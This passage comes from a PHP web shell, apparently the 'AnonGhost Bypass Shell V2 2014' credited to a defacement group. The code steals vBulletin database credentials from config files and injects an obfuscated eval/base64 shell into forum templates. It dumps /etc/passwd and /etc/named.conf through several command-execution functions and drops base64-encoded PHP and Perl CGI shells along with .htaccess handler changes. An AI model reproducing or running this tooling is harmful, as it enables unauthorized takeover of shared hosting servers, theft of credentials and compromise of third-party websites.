3790
3791$ex = explode("\n",$file);
3792
3793echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b><font></td><td> <font color='#e4e4e4'><b>Configs </b><font></td><td> <font color='#e4e4e4'><b>Result </b><font></td></div>";
3794
3795foreach ($ex as $exp){
3796
3797$es = explode("||",$exp);
3798
3799$config = $es[0];
3800
3801$domin = $es[1];
3802
3803$domins = trim($domin).'';
3804
3805$readconfig = @file_get_contents(trim($config));
3806
3807if(ereg('vBulletin',$readconfig)){
3808
3809$db = ex($readconfig,'$config[\'Database\'][\'dbname\'] = \'',"';");
3810
3811$userdb = ex($readconfig,'$config[\'MasterServer\'][\'username\'] = \'',"';");
3812
3813$pass = ex($readconfig,'$config[\'MasterServer\'][\'password\'] = \'',"';");
3814
3815$con = @mysql_connect('localhost',$userdb,$pass);
3816
3817$db = @mysql_select_db($db,$con);
3818
3819$shell = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==" ;
3820
3821$crypt = "{\${eval(gzinflate(base64_decode(\'";
3822
3823$crypt .= "$shell";
3824
3825$crypt .= "\')))}}{\${exit()}}</textarea>";
3826
3827$sqlfaq = "UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'" ;
3828
3829$query = @mysql_query($sqlfaq,$con);
3830
3831
3832if ($query){$r = '<b style="color: #ee5500">Succeed</b> shell in search.php';}
3833else
3834{
3835$r = '<b style="color:red">failed</b>';
3836}
3837$domins = trim($domin).'';
3838echo "<tr>
3839<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3840<td><div class='cone'><a target='_blank' href='$config'>Config</a></div></td><td>".$r."</td></tr>";
3841
3842}else{
3843
3844echo "<tr>
3845<td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
3846<td><div class='cone'><a target='_blank' href='http://$config'>Config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
3847}
3848}
3849
3850die();
3851
3852}
3853
3854if(!is_file('named.txt')){
3855
3856$d00m = file("/etc/named.conf");
3857
3858}else{
3859
3860$d00m = file("named.txt");
3861
3862}
3863if(!$d00m)
3864{
3865die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
3866}
3867else
3868{
3869echo "<br><div class='tmp'>
3870<form method='POST' action='$pg?action=vb'>
3871<input type='submit' value='Inject shell' />
3872<input type='hidden' value='1' name='s' />
3873</form>
3874<br>
3875<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Config </b></font></td><td> <font color='#e4e4e4'><b>Result </b></font></td>";
3876
3877$f = fopen('vb.txt','w');
3878
3879foreach($d00m as $dom){
3880
3881if(eregi("zone",$dom)){
3882
3883preg_match_all('#zone "(.*)"#', $dom, $domvw);
3884
3885if(strlen(trim($domvw[1][0])) > 2){
3886
3887$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
3888
3889///////////////////////////////////////////////////////////////////////////////////
3890
3891$wpl=$pageURL."/sim/rut/home/".$user['name']."/includes/config.php";
3892$wpp=get_headers($wpl);
3893$wp=$wpp[0];
3894
3895$wp2=$pageURL."/sim/rut/home/".$user['name']."/vb/includes/config.php";
3896$wpp2=get_headers($wp2);
3897$wp12=$wpp2[0];
3898
3899$wp3=$pageURL."/sim/rut/home/".$user['name']."/forum/includes/config.php";
3900$wpp3=get_headers($wp3);
3901$wp13=$wpp3[0];
3902
3903
3904 ////////// vb ////////////
3905
3906$pos = strpos($wp, "200");
3907$config=" ";
3908
3909if (strpos($wp, "200") == true )
3910{
3911 $config= $wpl;
3912}
3913elseif (strpos($wp12, "200") == true)
3914{
3915 $config= $wp2;
3916}
3917elseif (strpos($wp13, "200") == true)
3918{
3919 $config= $wp3;
3920}
3921else
3922{
3923continue;
3924
3925}
3926flush();
3927$dom = $domvw[1][0];
3928$w = fwrite($f,"$config||$dom \n");
3929if($w){$r = '<b style="color: #009900">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
3930echo "<tr><td><div class='cone'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
3931<td><div class='cone'><a href='$config'>Config</a></div></td><td>".$r."</td></tr>";
3932flush();
3933}
3934}
3935}
3936}
3937echo "</table></div><br><br>";
3938}
3939if(isset($_GET['action']) && $_GET['action'] == 'abot'){
3940echo '
3941<br><center><img src="http://www7.0zz0.com/2014/08/22/20/260354169.png"></center><center>
3942<span style="font-size:30px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#008800" size="1pt">Coded by </font><font color="#00bb00" size="1pt">Virusa Worm</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> <font color="#006600" size="1pt">-</font> <font color="#00bb00" size="1pt">GrenCoder</font><br><br><br><font color="#007700" size="1pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color="#009900" size="1pt">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color="#009900" size="1pt">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color="#00ff00" size="1pt">"</font>Keep Calm and enjoy Hacking \!/<font color="#00ff00" size="1pt">"</font><br><br><br><font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br>
3943<center><div class="logindiv"><table cellpadding="7" cellspacing="2">
3944<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br>
3945<font color="#009900" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
3946AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color="#007700" size="1pt">[pasangan galo.. lol..]]</font><br></font></center>
3947';
3948}
3949
3950if(isset($_GET['action']) && $_GET['action'] == 'read'){
3951echo '<center><b class="conte">
3952<a href="?action=sym">Symlink Info</a> -
3953<a href="?action=dose">Cms Scanner</a> -
3954<a href="?action=vkill">Perl based symlink</a> -
3955<a href="?action=file">Symlink Manual</a> -
3956<a href="?action=manu">Manually Retrieve Config</a> -
3957<a href="?action=ensim">Enable Symlink If Disabled</a> -
3958<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
3959<a href="?action=simby">Symlink Bypass 2014</a> </center>
3960</b>';
3961echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Read /etc/passwd</span><center><br>';
3962echo "<br><form method='post' action='?action=read&save=1'><textarea class='area' cols='80' rows='15' name='file'>";
3963flush();
3964flush();
3965
3966
3967$file = '/etc/named.conf';
3968
3969
3970$w0co = @fopen($file, 'r');
3971if ($w0co){
3972$content = @fread($w0co, @filesize($file));
3973echo "".htmlentities($content)."";
3974}
3975else if (!$w0co)
3976{
3977$w0co = @show_source($file) ;
3978}
3979else if (!$w0co)
3980{
3981$w0co = @highlight_file($file);
3982}
3983else if (!$w0co)
3984{
3985$sm = @symlink($file,'sym.txt');
3986
3987
3988if ($sm){
3989$w0co = @fopen('sim/sym.txt', 'r');
3990$content = @fread($w0co, @filesize($file));
3991echo "".htmlentities($content)."";
3992
3993}
3994}
3995
3996echo "</textarea><br /><br /><input type='submit' value='Save'/> </form>";
3997
3998
3999if(isset($_GET['save'])){
4000
4001$cont = stripcslashes($_POST['file']);
4002
4003$f = fopen('named.txt','w');
4004
4005$w = fwrite($f,$cont);
4006
4007if($w){
4008
4009echo '<br />save has been successfully';
4010
4011}
4012
4013fclose($f);
4014
4015}
4016}
4017
4018if(isset($_GET['action']) && $_GET['action'] == 'bforb'){
4019echo '<center><b class="conte">
4020<a href="?action=grasy">Bypass /etc/passwd</a> -
4021<a href="?action=nemcon">Bypass Users Server</a> -
4022<a href="?action=cgipl">Bypass Perl Security</a> -
4023<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4024<a href="?action=bforb">Bypass system function</a> -
4025<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4026<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4027<a href="?action=posget">Bypass posix_getpwuid</a> -
4028<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4029<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4030<a href="?action=setphr">Bypass suPHP Security</a> -
4031<a href="?action=simpelb">Simple Bypasser</a> -
4032<a href="?action=ritf">Read Files</a> -
4033<a href="?action=baidir">Bypass Chmod Directory</a> -
4034<a href="?action=forb14">Bypass Forbidden 2014</a> -
4035<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4036</b>';
4037echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path with system function</span><center><br>';
4038mkdir('bforb', 0755);
4039chdir('bforb');
4040$bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBCeXBhc3MgUm9vdCBQYXRoIGJ5IFZpcnVzYSBXb3JtPC90aXRsZT48L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj48IS0tIGJvZHkge2JhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OyBmb250LWZhbWlseTpDb3VyaWVyCW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBOZXc7Zm9udC1zaXplOjEycHg7Y29sb3I6IzAwOTkwMDtmb250LXdlaWdodDo0MDA7fSBhe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojMDA5OTAwO30gYTp2aXNpdGVkIHtjb2xvcjojMDA3NzAwO30gYTpob3Zlcntjb2xvcjojMDBmZjAwO30gYTphY3RpdmUge2NvbG9yOiMwMDk5MDA7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgZWNobyAiPGNlbnRlcj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQnlwYXNzIGl0JyBuYW1lPSd2aXJ1c2EnPjwvY2VudGVyPiI7IGlmIChpc3NldCgkX1BPU1RbJ3ZpcnVzYSddKSl7IHN5c3RlbSgnbG4gLXMgLyB2aXJ1c2EudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7ICRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkdmlydXNhID0gc3ltbGluaygiLyIsInZpcnVzYS50eHQiKTsgJHJ0PSI8YnI+PGEgaHJlZj12aXJ1c2EudHh0IFRBUkdFVD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jMDBiYjAwIHNpemU9MiBmYWNlPSdDb3VyaWVyIE5ldyc+PGI+QnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9iPjwvZm9udD48L2E+IjsgZWNobyAiPGJyPjxicj48Yj5Eb25lLi4gITwvYj48YnI+PGJyPkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPiRydDwvY2VudGVyPiI7fSBlY2hvICI8L2Zvcm0+IjsgID8+PC90ZD48L3RyPjwvYm9keT48L2h0bWw+';
4041
4042$file = fopen("bforb.php" ,"w+");
4043$write = fwrite ($file ,base64_decode($bforb));
4044fclose($file);
4045chmod("bforb.php",0755);
4046echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
4047}
4048
4049if(isset($_GET['action']) && $_GET['action'] == 'grasy'){
4050echo '<center><b class="conte">
4051<a href="?action=grasy">Bypass /etc/passwd</a> -
4052<a href="?action=nemcon">Bypass Users Server</a> -
4053<a href="?action=cgipl">Bypass Perl Security</a> -
4054<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4055<a href="?action=bforb">Bypass system function</a> -
4056<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4057<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4058<a href="?action=posget">Bypass posix_getpwuid</a> -
4059<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4060<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4061<a href="?action=setphr">Bypass suPHP Security</a> -
4062<a href="?action=simpelb">Simple Bypasser</a> -
4063<a href="?action=ritf">Read Files</a> -
4064<a href="?action=baidir">Bypass Chmod Directory</a> -
4065<a href="?action=forb14">Bypass Forbidden 2014</a> -
4066<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4067</b>';
4068echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
4069echo '<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
4070
4071
4072<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
4073<form method="post">
4074<input type="submit" value="Bypass" name="syst">
4075</form>
4076</center><br>
4077</p>
4078
4079<p><center>Bypass with Passthru Function
4080<form method="post">
4081<font face="Tahoma" color="#007700" size="2pt">
4082<input type="submit" value="Bypass" name="passth">
4083</form>
4084</center><br>
4085</p>
4086
4087<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
4088<form method="post">
4089<input type="submit" value="Bypass" name="ex">
4090</form>
4091</center><br>
4092</p>
4093
4094<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
4095<form method="post">
4096<input type="submit" value="Bypass" name="shex">
4097</form>
4098</center><br>
4099</p>
4100
4101<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
4102<form method="post">
4103<input type="submit" value="Bypass" name="mauritania">
4104</form>
4105</center><br>
4106</p>
4107
4108<center>';
4109
4110
4111//System Function //
4112if($_POST['syst'])
4113{
4114
4115echo"<textarea class='area' cols='65' rows='15'>";
4116echo system("cat /etc/passwd");
4117echo"</textarea><br>";
4118echo"
4119<br>
4120<b>
4121</b>
4122<br>
4123";
4124}
4125echo '
4126</center>
4127<center>';
4128
4129
4130
4131//Passthru Function //
4132if($_POST['passth'])
4133{
4134echo"<textarea class='area' cols='65' rows='15'>";
4135echo passthru("cat /etc/passwd");
4136echo"</textarea><br>";
4137echo"
4138<br>
4139<b>
4140
4141</b>
4142<br>
4143";
4144
4145}
4146
4147
4148echo '
4149</center>
4150<center>';
4151
4152
4153
4154//exec Function //
4155if($_POST['ex'])
4156{
4157echo"<textarea class='area' cols='65' rows='15'>";
4158echo exec("cat /etc/passwd");
4159echo"</textarea><br>";
4160echo"
4161<br>
4162<b>
4163</b>
4164<br>
4165";
4166}
4167
4168
4169echo '
4170</center>
4171<center>';
4172
4173
4174//exec Function //
4175if($_POST['shex'])
4176{
4177echo"<textarea class='area' cols='65' rows='15'>";
4178echo shell_exec("cat /etc/passwd");
4179echo"</textarea><br>";
4180echo"
4181<br>
4182<b>
4183</b>
4184<br>
4185";
4186}
4187echo '</center>
4188<center>';
4189
4190
4191
4192//posix_getpwuid Function //
4193if($_POST['mauritania'])
4194{
4195echo"<textarea class='area' cols='65' rows='15'>";
4196for($uid=0;$uid<60000;$uid++){
4197$ara = posix_getpwuid($uid);
4198if (!empty($ara)) {
4199while (list ($key, $val) = each($ara)){
4200print "$val:";
4201}
4202print "\n";
4203}
4204}
4205echo"</textarea><br>";
4206echo"
4207<br>
4208<b>
4209</b>
4210<br>
4211";
4212}
4213}
4214if(isset($_GET['action']) && $_GET['action'] == 'nemcon'){
4215echo '<center><b class="conte">
4216<a href="?action=grasy">Bypass /etc/passwd</a> -
4217<a href="?action=nemcon">Bypass Users Server</a> -
4218<a href="?action=cgipl">Bypass Perl Security</a> -
4219<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4220<a href="?action=bforb">Bypass system function</a> -
4221<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4222<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4223<a href="?action=posget">Bypass posix_getpwuid</a> -
4224<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4225<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4226<a href="?action=setphr">Bypass suPHP Security</a> -
4227<a href="?action=simpelb">Simple Bypasser</a> -
4228<a href="?action=ritf">Read Files</a> -
4229<a href="?action=baidir">Bypass Chmod Directory</a> -
4230<a href="?action=forb14">Bypass Forbidden 2014</a> -
4231<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4232</b>';
4233echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
4234echo '
4235<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
4236
4237<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
4238<form method="post">
4239<input type="submit" value="Bypass" name="awk">
4240</form>
4241</center><br>
4242</p>
4243
4244
4245
4246<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
4247<form method="post">
4248<input type="submit" value="Bypass" name="syst">
4249</form>
4250</center><br>
4251</p>
4252
4253<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
4254<form method="post">
4255<input type="submit" value="Bypass" name="passth">
4256</form>
4257</center><br>
4258</p>
4259
4260<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
4261<form method="post">
4262<input type="submit" value="Bypass" name="ex">
4263</form>
4264</center><br>
4265</p>
4266
4267<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
4268<form method="post">
4269<input type="submit" value="Bypass" name="shex">
4270</form>
4271</center><br>
4272</p><center>';
4273
4274
4275//Awk Program //
4276if ($_POST['awk']) {
4277echo"<textarea class='area' cols='65' rows='15'>";
4278echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
4279echo "</textarea><br>";
4280echo "
4281<br>
4282<b>
4283</b>
4284<br>
4285";
4286}
4287echo "</center><center>";
4288
4289//System Function //
4290if ($_POST['syst']) {
4291echo"<textarea class='area' cols='65' rows='15'>";
4292echo system("ls /var/mail");
4293echo "</textarea><br>";
4294echo "
4295<br>
4296<b>
4297</b>
4298<br>
4299";
4300}
4301
4302echo "</center><center>";
4303
4304//Passthru Function //
4305if ($_POST['passth']) {
4306echo"<textarea class='area' cols='65' rows='15'>";
4307echo passthru("ls /var/mail");
4308echo "</textarea><br>";
4309echo "
4310<br>
4311<b>
4312</b>
4313<br>
4314";
4315}
4316echo "</center><center>";
4317
4318//exec Function //
4319if ($_POST['ex']) {
4320echo"<textarea class='area' cols='65' rows='15'>";
4321echo exec("ls /var/mail");
4322echo "</textarea><br>";
4323echo "
4324<br>
4325<b>
4326
4327</b>
4328<br>
4329";
4330}
4331
4332echo "</center><center>";
4333
4334//exec Function //
4335if ($_POST['shex']) {
4336echo"<textarea class='area' cols='65' rows='15'>";
4337echo shell_exec("ls /var/mail");
4338echo "</textarea><br>";
4339echo "
4340<br>
4341<b>
4342</b>
4343<br>
4344";
4345}
4346}
4347if(isset($_GET['action']) && $_GET['action'] == 'cgipl'){
4348echo '<center><b class="conte">
4349<a href="?action=grasy">Bypass /etc/passwd</a> -
4350<a href="?action=nemcon">Bypass Users Server</a> -
4351<a href="?action=cgipl">Bypass Perl Security</a> -
4352<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4353<a href="?action=bforb">Bypass system function</a> -
4354<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4355<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4356<a href="?action=posget">Bypass posix_getpwuid</a> -
4357<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4358<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4359<a href="?action=setphr">Bypass suPHP Security</a> -
4360<a href="?action=simpelb">Simple Bypasser</a> -
4361<a href="?action=ritf">Read Files</a> -
4362<a href="?action=baidir">Bypass Chmod Directory</a> -
4363<a href="?action=forb14">Bypass Forbidden 2014</a> -
4364<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4365</b>';
4366mkdir('cgipl', 0755);
4367chdir('cgipl');
4368$kokdosya = ".htaccess";
4369$dosya_adi = "$kokdosya";
4370$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
4371$metin = "AddType application/x-httpd-cgi .root
4372AddType application/x-httpd-cgi .root
4373AddHandler cgi-script .root
4374AddHandler cgi-script .root";
4375fwrite ( $dosya , $metin ) ;
4376fclose ($dosya);
4377$cgipl = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYg